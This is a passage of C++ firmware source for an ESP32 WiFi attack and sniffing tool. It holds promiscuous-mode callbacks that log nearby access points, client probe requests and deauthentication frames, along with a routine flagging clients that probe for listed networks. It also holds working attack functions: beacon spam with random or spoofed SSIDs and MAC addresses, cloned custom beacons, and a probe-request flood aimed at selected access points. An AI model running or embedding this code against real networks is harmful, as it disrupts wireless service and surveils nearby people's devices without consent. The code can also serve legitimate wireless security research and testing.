  1287. //Serial.print("Checking ");
  1288. //Serial.print(addr);
  1289. //Serial.println(" against " + (String)access_points->get(i).essid);
  1290. for (int x = 0; x < 6; x++) {
  1291. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1292. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1293. mac_match = false;
  1294. //Serial.println("MACs do not match");
  1295. break;
  1296. }
  1297. }
  1298. if (mac_match) {
  1299. in_list = true;
  1300. break;
  1301. }
  1302. }
  1303. if (!in_list) {
  1304. delay(random(0, 10));
  1305. Serial.print("RSSI: ");
  1306. Serial.print(snifferPacket->rx_ctrl.rssi);
  1307. Serial.print(" Ch: ");
  1308. Serial.print(snifferPacket->rx_ctrl.channel);
  1309. Serial.print(" BSSID: ");
  1310. Serial.print(addr);
  1311. display_string.concat(addr);
  1312. Serial.print(" ESSID: ");
  1313. display_string.concat(" -> ");
  1314. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1315. {
  1316. Serial.print((char)snifferPacket->payload[i + 38]);
  1317. display_string.concat((char)snifferPacket->payload[i + 38]);
  1318. essid.concat((char)snifferPacket->payload[i + 38]);
  1319. }
  1320. bssid.concat(addr);
  1321. int temp_len = display_string.length();
  1322. for (int i = 0; i < 40 - temp_len; i++)
  1323. {
  1324. display_string.concat(" ");
  1325. }
  1326. Serial.print(" ");
  1327. #ifdef HAS_SCREEN
  1328. if (display_obj.display_buffer->size() == 0)
  1329. {
  1330. display_obj.loading = true;
  1331. display_obj.display_buffer->add(display_string);
  1332. display_obj.loading = false;
  1333. }
  1334. #endif
  1335. if (essid == "") {
  1336. essid = bssid;
  1337. Serial.print(essid + " ");
  1338. }
  1339. //LinkedList<char> beacon = new LinkedList<char>();
  1340. /*AccessPoint ap = {essid,
  1341. snifferPacket->rx_ctrl.channel,
  1342. {snifferPacket->payload[10],
  1343. snifferPacket->payload[11],
  1344. snifferPacket->payload[12],
  1345. snifferPacket->payload[13],
  1346. snifferPacket->payload[14],
  1347. snifferPacket->payload[15]},
  1348. false,
  1349. NULL};*/
  1350. AccessPoint ap;
  1351. ap.essid = essid;
  1352. ap.channel = snifferPacket->rx_ctrl.channel;
  1353. ap.bssid[0] = snifferPacket->payload[10];
  1354. ap.bssid[1] = snifferPacket->payload[11];
  1355. ap.bssid[2] = snifferPacket->payload[12];
  1356. ap.bssid[3] = snifferPacket->payload[13];
  1357. ap.bssid[4] = snifferPacket->payload[14];
  1358. ap.bssid[5] = snifferPacket->payload[15];
  1359. ap.selected = false;
  1360. ap.beacon = new LinkedList<char>();
  1361. //for (int i = 0; i < len; i++) {
  1362. // ap.beacon->add(snifferPacket->payload[i]);
  1363. //}
  1364. ap.beacon->add(snifferPacket->payload[34]);
  1365. ap.beacon->add(snifferPacket->payload[35]);
  1366. Serial.print("\nBeacon: ");
  1367. for (int i = 0; i < ap.beacon->size(); i++) {
  1368. char hexCar[4];
  1369. sprintf(hexCar, "%02X", ap.beacon->get(i));
  1370. Serial.print(hexCar);
  1371. if ((i + 1) % 16 == 0)
  1372. Serial.print("\n");
  1373. else
  1374. Serial.print(" ");
  1375. }
  1376. ap.rssi = snifferPacket->rx_ctrl.rssi;
  1377. access_points->add(ap);
  1378. Serial.print(access_points->size());
  1379. Serial.println();
  1380. if (save_packet)
  1381. sd_obj.addPacket(snifferPacket->payload, len);
  1382. }
  1383. }
  1384. }
  1385. }
  1386. void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1387. {
  1388. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1389. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1390. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1391. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1392. int len = snifferPacket->rx_ctrl.sig_len;
  1393. String display_string = "";
  1394. String essid = "";
  1395. String bssid = "";
  1396. if (type == WIFI_PKT_MGMT)
  1397. {
  1398. len -= 4;
  1399. int fctl = ntohs(frameControl->fctl);
  1400. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1401. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1402. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1403. #ifdef HAS_SCREEN
  1404. int buf = display_obj.display_buffer->size();
  1405. #else
  1406. int buf = 0;
  1407. #endif
  1408. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1409. {
  1410. char addr[] = "00:00:00:00:00:00";
  1411. getMAC(addr, snifferPacket->payload, 10);
  1412. bool in_list = false;
  1413. bool mac_match = true;
  1414. for (int i = 0; i < access_points->size(); i++) {
  1415. mac_match = true;
  1416. //Serial.print("Checking ");
  1417. //Serial.print(addr);
  1418. //Serial.println(" against " + (String)access_points->get(i).essid);
  1419. for (int x = 0; x < 6; x++) {
  1420. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1421. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1422. mac_match = false;
  1423. //Serial.println("MACs do not match");
  1424. break;
  1425. }
  1426. }
  1427. if (mac_match) {
  1428. in_list = true;
  1429. break;
  1430. }
  1431. }
  1432. if (!in_list) {
  1433. delay(random(0, 10));
  1434. Serial.print("RSSI: ");
  1435. Serial.print(snifferPacket->rx_ctrl.rssi);
  1436. Serial.print(" Ch: ");
  1437. Serial.print(snifferPacket->rx_ctrl.channel);
  1438. Serial.print(" BSSID: ");
  1439. Serial.print(addr);
  1440. display_string.concat(addr);
  1441. Serial.print(" ESSID: ");
  1442. display_string.concat(" -> ");
  1443. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1444. {
  1445. Serial.print((char)snifferPacket->payload[i + 38]);
  1446. display_string.concat((char)snifferPacket->payload[i + 38]);
  1447. essid.concat((char)snifferPacket->payload[i + 38]);
  1448. }
  1449. bssid.concat(addr);
  1450. int temp_len = display_string.length();
  1451. for (int i = 0; i < 40 - temp_len; i++)
  1452. {
  1453. display_string.concat(" ");
  1454. }
  1455. Serial.print(" ");
  1456. #ifdef HAS_SCREEN
  1457. if (display_obj.display_buffer->size() == 0)
  1458. {
  1459. display_obj.loading = true;
  1460. display_obj.display_buffer->add(display_string);
  1461. display_obj.loading = false;
  1462. }
  1463. #endif
  1464. if (essid == "") {
  1465. essid = bssid;
  1466. Serial.print(essid + " ");
  1467. }
  1468. AccessPoint ap = {essid,
  1469. snifferPacket->rx_ctrl.channel,
  1470. {snifferPacket->payload[10],
  1471. snifferPacket->payload[11],
  1472. snifferPacket->payload[12],
  1473. snifferPacket->payload[13],
  1474. snifferPacket->payload[14],
  1475. snifferPacket->payload[15]},
  1476. false,
  1477. NULL,
  1478. snifferPacket->rx_ctrl.rssi};
  1479. access_points->add(ap);
  1480. Serial.print(access_points->size());
  1481. Serial.println();
  1482. if (save_packet)
  1483. sd_obj.addPacket(snifferPacket->payload, len);
  1484. }
  1485. }
  1486. }
  1487. }
  1488. void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1489. {
  1490. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1491. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1492. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1493. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1494. int len = snifferPacket->rx_ctrl.sig_len;
  1495. String display_string = "";
  1496. if (type == WIFI_PKT_MGMT)
  1497. {
  1498. len -= 4;
  1499. int fctl = ntohs(frameControl->fctl);
  1500. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1501. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1502. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1503. #ifdef HAS_SCREEN
  1504. int buf = display_obj.display_buffer->size();
  1505. #else
  1506. int buf = 0;
  1507. #endif
  1508. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1509. {
  1510. delay(random(0, 10));
  1511. Serial.print("RSSI: ");
  1512. Serial.print(snifferPacket->rx_ctrl.rssi);
  1513. Serial.print(" Ch: ");
  1514. Serial.print(snifferPacket->rx_ctrl.channel);
  1515. Serial.print(" BSSID: ");
  1516. char addr[] = "00:00:00:00:00:00";
  1517. getMAC(addr, snifferPacket->payload, 10);
  1518. Serial.print(addr);
  1519. display_string.concat(addr);
  1520. Serial.print(" ESSID: ");
  1521. display_string.concat(" -> ");
  1522. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1523. {
  1524. Serial.print((char)snifferPacket->payload[i + 38]);
  1525. display_string.concat((char)snifferPacket->payload[i + 38]);
  1526. }
  1527. int temp_len = display_string.length();
  1528. #ifdef HAS_SCREEN
  1529. for (int i = 0; i < 40 - temp_len; i++)
  1530. {
  1531. display_string.concat(" ");
  1532. }
  1533. Serial.print(" ");
  1534. if (display_obj.display_buffer->size() == 0)
  1535. {
  1536. display_obj.loading = true;
  1537. display_obj.display_buffer->add(display_string);
  1538. display_obj.loading = false;
  1539. }
  1540. #endif
  1541. Serial.println();
  1542. if (save_packet)
  1543. sd_obj.addPacket(snifferPacket->payload, len);
  1544. }
  1545. }
  1546. }
  1547. void WiFiScan::rawSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1548. {
  1549. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1550. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1551. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1552. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1553. int len = snifferPacket->rx_ctrl.sig_len;
  1554. String display_string = "";
  1555. if (type == WIFI_PKT_MGMT)
  1556. {
  1557. len -= 4;
  1558. int fctl = ntohs(frameControl->fctl);
  1559. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1560. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1561. }
  1562. Serial.print("RSSI: ");
  1563. Serial.print(snifferPacket->rx_ctrl.rssi);
  1564. Serial.print(" Ch: ");
  1565. Serial.print(snifferPacket->rx_ctrl.channel);
  1566. Serial.print(" BSSID: ");
  1567. char addr[] = "00:00:00:00:00:00";
  1568. getMAC(addr, snifferPacket->payload, 10);
  1569. Serial.print(addr);
  1570. display_string.concat(text_table4[0]);
  1571. display_string.concat(snifferPacket->rx_ctrl.rssi);
  1572. display_string.concat(" ");
  1573. display_string.concat(addr);
  1574. int temp_len = display_string.length();
  1575. #ifdef HAS_SCREEN
  1576. for (int i = 0; i < 40 - temp_len; i++)
  1577. {
  1578. display_string.concat(" ");
  1579. }
  1580. Serial.print(" ");
  1581. if (display_obj.display_buffer->size() == 0)
  1582. {
  1583. display_obj.loading = true;
  1584. display_obj.display_buffer->add(display_string);
  1585. display_obj.loading = false;
  1586. }
  1587. #endif
  1588. Serial.println();
  1589. if (save_packet)
  1590. sd_obj.addPacket(snifferPacket->payload, len);
  1591. }
  1592. void WiFiScan::deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1593. {
  1594. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1595. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1596. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1597. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1598. int len = snifferPacket->rx_ctrl.sig_len;
  1599. String display_string = "";
  1600. if (type == WIFI_PKT_MGMT)
  1601. {
  1602. len -= 4;
  1603. int fctl = ntohs(frameControl->fctl);
  1604. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1605. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1606. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1607. #ifdef HAS_SCREEN
  1608. int buf = display_obj.display_buffer->size();
  1609. #else
  1610. int buf = 0;
  1611. #endif
  1612. if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ) && (buf == 0))
  1613. {
  1614. delay(random(0, 10));
  1615. Serial.print("RSSI: ");
  1616. Serial.print(snifferPacket->rx_ctrl.rssi);
  1617. Serial.print(" Ch: ");
  1618. Serial.print(snifferPacket->rx_ctrl.channel);
  1619. Serial.print(" BSSID: ");
  1620. char addr[] = "00:00:00:00:00:00";
  1621. char dst_addr[] = "00:00:00:00:00:00";
  1622. getMAC(addr, snifferPacket->payload, 10);
  1623. getMAC(dst_addr, snifferPacket->payload, 4);
  1624. Serial.print(addr);
  1625. Serial.print(" -> ");
  1626. Serial.print(dst_addr);
  1627. display_string.concat(text_table4[0]);
  1628. display_string.concat(snifferPacket->rx_ctrl.rssi);
  1629. display_string.concat(" ");
  1630. display_string.concat(addr);
  1631. #ifdef HAS_SCREEN
  1632. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1633. {
  1634. display_string.concat(" ");
  1635. }
  1636. Serial.print(" ");
  1637. if (display_obj.display_buffer->size() == 0)
  1638. {
  1639. display_obj.loading = true;
  1640. display_obj.display_buffer->add(display_string);
  1641. display_obj.loading = false;
  1642. }
  1643. #endif
  1644. Serial.println();
  1645. if (save_packet)
  1646. sd_obj.addPacket(snifferPacket->payload, len);
  1647. }
  1648. }
  1649. }
  1650. void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1651. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1652. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1653. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1654. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1655. int len = snifferPacket->rx_ctrl.sig_len;
  1656. String display_string = "";
  1657. if (type == WIFI_PKT_MGMT)
  1658. {
  1659. len -= 4;
  1660. int fctl = ntohs(frameControl->fctl);
  1661. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1662. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1663. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1664. #ifdef HAS_SCREEN
  1665. int buf = display_obj.display_buffer->size();
  1666. #else
  1667. int buf = 0;
  1668. #endif
  1669. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1670. {
  1671. delay(random(0, 10));
  1672. Serial.print("RSSI: ");
  1673. Serial.print(snifferPacket->rx_ctrl.rssi);
  1674. Serial.print(" Ch: ");
  1675. Serial.print(snifferPacket->rx_ctrl.channel);
  1676. Serial.print(" Client: ");
  1677. char addr[] = "00:00:00:00:00:00";
  1678. getMAC(addr, snifferPacket->payload, 10);
  1679. Serial.print(addr);
  1680. display_string.concat(addr);
  1681. Serial.print(" Requesting: ");
  1682. display_string.concat(" -> ");
  1683. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1684. {
  1685. Serial.print((char)snifferPacket->payload[26 + i]);
  1686. display_string.concat((char)snifferPacket->payload[26 + i]);
  1687. }
  1688. // Print spaces because of the rotating lines of the hardware scroll.
  1689. // The same characters print from previous lines so I just overwrite them
  1690. // with spaces.
  1691. #ifdef HAS_SCREEN
  1692. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1693. {
  1694. display_string.concat(" ");
  1695. }
  1696. if (display_obj.display_buffer->size() == 0)
  1697. {
  1698. //while (display_obj.printing)
  1699. // delay(1);
  1700. display_obj.loading = true;
  1701. display_obj.display_buffer->add(display_string);
  1702. display_obj.loading = false;
  1703. }
  1704. #endif
  1705. Serial.println();
  1706. if (save_packet)
  1707. sd_obj.addPacket(snifferPacket->payload, len);
  1708. }
  1709. }
  1710. }
  1711. void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1712. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1713. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1714. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1715. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1716. int len = snifferPacket->rx_ctrl.sig_len;
  1717. String display_string = "";
  1718. String essid = "";
  1719. bool found = false;
  1720. if (type == WIFI_PKT_MGMT)
  1721. {
  1722. len -= 4;
  1723. int fctl = ntohs(frameControl->fctl);
  1724. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1725. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1726. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1727. #ifdef HAS_SCREEN
  1728. int buf = display_obj.display_buffer->size();
  1729. #else
  1730. int buf = 0;
  1731. #endif
  1732. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1733. {
  1734. for (uint8_t i = 0; i < snifferPacket->payload[25]; i++)
  1735. {
  1736. essid.concat((char)snifferPacket->payload[26 + i]);
  1737. }
  1738. for (int i = 0; i < ssids->size(); i++) {
  1739. if (ssids->get(i).essid == essid) {
  1740. Serial.println("Found a sheep");
  1741. found = true;
  1742. break;
  1743. }
  1744. }
  1745. if (!found)
  1746. return;
  1747. delay(random(0, 10));
  1748. Serial.print("RSSI: ");
  1749. Serial.print(snifferPacket->rx_ctrl.rssi);
  1750. Serial.print(" Ch: ");
  1751. Serial.print(snifferPacket->rx_ctrl.channel);
  1752. Serial.print(" Client: ");
  1753. char addr[] = "00:00:00:00:00:00";
  1754. getMAC(addr, snifferPacket->payload, 10);
  1755. Serial.print(addr);
  1756. display_string.concat(addr);
  1757. Serial.print(" Requesting: ");
  1758. display_string.concat(" -> ");
  1759. // ESSID
  1760. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1761. {
  1762. Serial.print((char)snifferPacket->payload[26 + i]);
  1763. display_string.concat((char)snifferPacket->payload[26 + i]);
  1764. }
  1765. // Print spaces because of the rotating lines of the hardware scroll.
  1766. // The same characters print from previous lines so I just overwrite them
  1767. // with spaces.
  1768. #ifdef HAS_SCREEN
  1769. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1770. {
  1771. display_string.concat(" ");
  1772. }
  1773. if (display_obj.display_buffer->size() == 0)
  1774. {
  1775. display_obj.loading = true;
  1776. display_obj.display_buffer->add(display_string);
  1777. display_obj.loading = false;
  1778. }
  1779. #endif
  1780. Serial.println();
  1781. if (save_packet)
  1782. sd_obj.addPacket(snifferPacket->payload, len);
  1783. }
  1784. }
  1785. }
  1786. /*
  1787. void WiFiScan::broadcastAPBeacon(uint32_t currentTime, AccessPoint custom_ssid) {
  1788. set_channel = random(1,12);
  1789. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1790. delay(1);
  1791. // Randomize SRC MAC
  1792. packet[10] = packet[16] = custom_ssid.bssid[0];
  1793. packet[11] = packet[17] = custom_ssid.bssid[1];
  1794. packet[12] = packet[18] = custom_ssid.bssid[2];
  1795. packet[13] = packet[19] = custom_ssid.bssid[3];
  1796. packet[14] = packet[20] = custom_ssid.bssid[4];
  1797. packet[15] = packet[21] = custom_ssid.bssid[5];
  1798. char ESSID[custom_ssid.essid.length() + 1] = {};
  1799. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1800. }*/
  1801. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) {
  1802. set_channel = random(1,12);
  1803. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1804. delay(1);
  1805. if (custom_ssid.beacon->size() == 0)
  1806. return;
  1807. // Randomize SRC MAC
  1808. // Randomize SRC MAC
  1809. packet[10] = packet[16] = random(256);
  1810. packet[11] = packet[17] = random(256);
  1811. packet[12] = packet[18] = random(256);
  1812. packet[13] = packet[19] = random(256);
  1813. packet[14] = packet[20] = random(256);
  1814. packet[15] = packet[21] = random(256);
  1815. char ESSID[custom_ssid.essid.length() + 1] = {};
  1816. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1817. int realLen = strlen(ESSID);
  1818. int ssidLen = random(realLen, 33);
  1819. int numSpace = ssidLen - realLen;
  1820. //int rand_len = sizeof(rand_reg);
  1821. int fullLen = ssidLen;
  1822. packet[37] = fullLen;
  1823. // Insert my tag
  1824. for(int i = 0; i < realLen; i++)
  1825. packet[38 + i] = ESSID[i];
  1826. for(int i = 0; i < numSpace; i++)
  1827. packet[38 + realLen + i] = 0x20;
  1828. /////////////////////////////
  1829. packet[50 + fullLen] = set_channel;
  1830. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1831. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1832. // Add everything that goes after the SSID
  1833. //for(int i = 0; i < 12; i++)
  1834. // packet[38 + fullLen + i] = postSSID[i];
  1835. packet[34] = custom_ssid.beacon->get(0);
  1836. packet[35] = custom_ssid.beacon->get(1);
  1837. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1838. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1839. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1840. packets_sent = packets_sent + 3;
  1841. }
  1842. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid) {
  1843. set_channel = random(1,12);
  1844. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1845. delay(1);
  1846. // Randomize SRC MAC
  1847. packet[10] = packet[16] = custom_ssid.bssid[0];
  1848. packet[11] = packet[17] = custom_ssid.bssid[1];
  1849. packet[12] = packet[18] = custom_ssid.bssid[2];
  1850. packet[13] = packet[19] = custom_ssid.bssid[3];
  1851. packet[14] = packet[20] = custom_ssid.bssid[4];
  1852. packet[15] = packet[21] = custom_ssid.bssid[5];
  1853. char ESSID[custom_ssid.essid.length() + 1] = {};
  1854. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1855. int ssidLen = strlen(ESSID);
  1856. //int rand_len = sizeof(rand_reg);
  1857. int fullLen = ssidLen;
  1858. packet[37] = fullLen;
  1859. // Insert my tag
  1860. for(int i = 0; i < ssidLen; i++)
  1861. packet[38 + i] = ESSID[i];
  1862. /////////////////////////////
  1863. packet[50 + fullLen] = set_channel;
  1864. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1865. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1866. // Add everything that goes after the SSID
  1867. for(int i = 0; i < 12; i++)
  1868. packet[38 + fullLen + i] = postSSID[i];
  1869. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1870. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1871. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1872. packets_sent = packets_sent + 3;
  1873. }
  1874. // Function to send beacons with random ESSID length
  1875. void WiFiScan::broadcastSetSSID(uint32_t current_time, char* ESSID) {
  1876. set_channel = random(1,12);
  1877. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1878. delay(1);
  1879. // Randomize SRC MAC
  1880. packet[10] = packet[16] = random(256);
  1881. packet[11] = packet[17] = random(256);
  1882. packet[12] = packet[18] = random(256);
  1883. packet[13] = packet[19] = random(256);
  1884. packet[14] = packet[20] = random(256);
  1885. packet[15] = packet[21] = random(256);
  1886. int ssidLen = strlen(ESSID);
  1887. //int rand_len = sizeof(rand_reg);
  1888. int fullLen = ssidLen;
  1889. packet[37] = fullLen;
  1890. // Insert my tag
  1891. for(int i = 0; i < ssidLen; i++)
  1892. packet[38 + i] = ESSID[i];
  1893. /////////////////////////////
  1894. packet[50 + fullLen] = set_channel;
  1895. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1896. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1897. // Add everything that goes after the SSID
  1898. for(int i = 0; i < 12; i++)
  1899. packet[38 + fullLen + i] = postSSID[i];
  1900. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1901. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1902. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1903. packets_sent = packets_sent + 3;
  1904. }
  1905. // Function for sending crafted beacon frames
  1906. void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
  1907. set_channel = random(1,12);
  1908. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1909. delay(1);
  1910. // Randomize SRC MAC
  1911. packet[10] = packet[16] = random(256);
  1912. packet[11] = packet[17] = random(256);
  1913. packet[12] = packet[18] = random(256);
  1914. packet[13] = packet[19] = random(256);
  1915. packet[14] = packet[20] = random(256);
  1916. packet[15] = packet[21] = random(256);
  1917. packet[37] = 6;
  1918. // Randomize SSID (Fixed size 6. Lazy right?)
  1919. packet[38] = alfa[random(65)];
  1920. packet[39] = alfa[random(65)];
  1921. packet[40] = alfa[random(65)];
  1922. packet[41] = alfa[random(65)];
  1923. packet[42] = alfa[random(65)];
  1924. packet[43] = alfa[random(65)];
  1925. packet[56] = set_channel;
  1926. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1927. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1928. // Add everything that goes after the SSID
  1929. for(int i = 0; i < 12; i++)
  1930. packet[38 + 6 + i] = postSSID[i];
  1931. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1932. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  1933. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  1934. packets_sent = packets_sent + 3;
  1935. }
  1936. // Function to send probe flood to all "active" access points
  1937. void WiFiScan::sendProbeAttack(uint32_t currentTime) {
  1938. // Itterate through all access points in list
  1939. for (int i = 0; i < access_points->size(); i++) {
  1940. // Check if active
  1941. if (access_points->get(i).selected) {
  1942. this->set_channel = access_points->get(i).channel;
  1943. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  1944. delay(1);
  1945. // Build packet
  1946. // Randomize SRC MAC
  1947. prob_req_packet[10] = random(256);
  1948. prob_req_packet[11] = random(256);
  1949. prob_req_packet[12] = random(256);
  1950. prob_req_packet[13] = random(256);
  1951. prob_req_packet[14] = random(256);
  1952. prob_req_packet[15] = random(256);
  1953. // Set SSID length
  1954. int ssidLen = access_points->get(i).essid.length();
  1955. //int rand_len = sizeof(rand_reg);
  1956. int fullLen = ssidLen;
  1957. prob_req_packet[25] = fullLen;
  1958. // Insert ESSID
  1959. char buf[access_points->get(i).essid.length() + 1] = {};
  1960. access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
  1961. for(int i = 0; i < ssidLen; i++)
  1962. prob_req_packet[26 + i] = buf[i];
  1963. /*
  1964. * 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24,
  1965. 0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a,
  1966. 0xad, 0x01, 0x17, 0xff, 0xff, 0x00,
  1967. 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00,
  1968. 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
  1969. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1970. 0x00, 0x00
  1971. */
  1972. uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12,
  1973. 0x18, 0x24, 0x30, 0x48, 0x60, 0x6c,
  1974. 0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff,
  1975. 0xff, 0x00, 0x00, 0x7e, 0x00, 0x00,
  1976. 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
  1977. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1978. 0x00, 0x00, 0x00, 0x00};
  1979. uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
  1980. for (int i = 0; i < 26 + fullLen; i++)
  1981. good_probe_req_packet[i] = prob_req_packet[i];
  1982. for(int i = 0; i < 40; i++)
  1983. good_probe_req_packet[26 + fullLen + i] = postSSID[i];
  1984. // Send packet
  1985. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1986. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1987. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1988. packets_sent = packets_sent + 3;
  1989. }
  1990. }
  1991. }
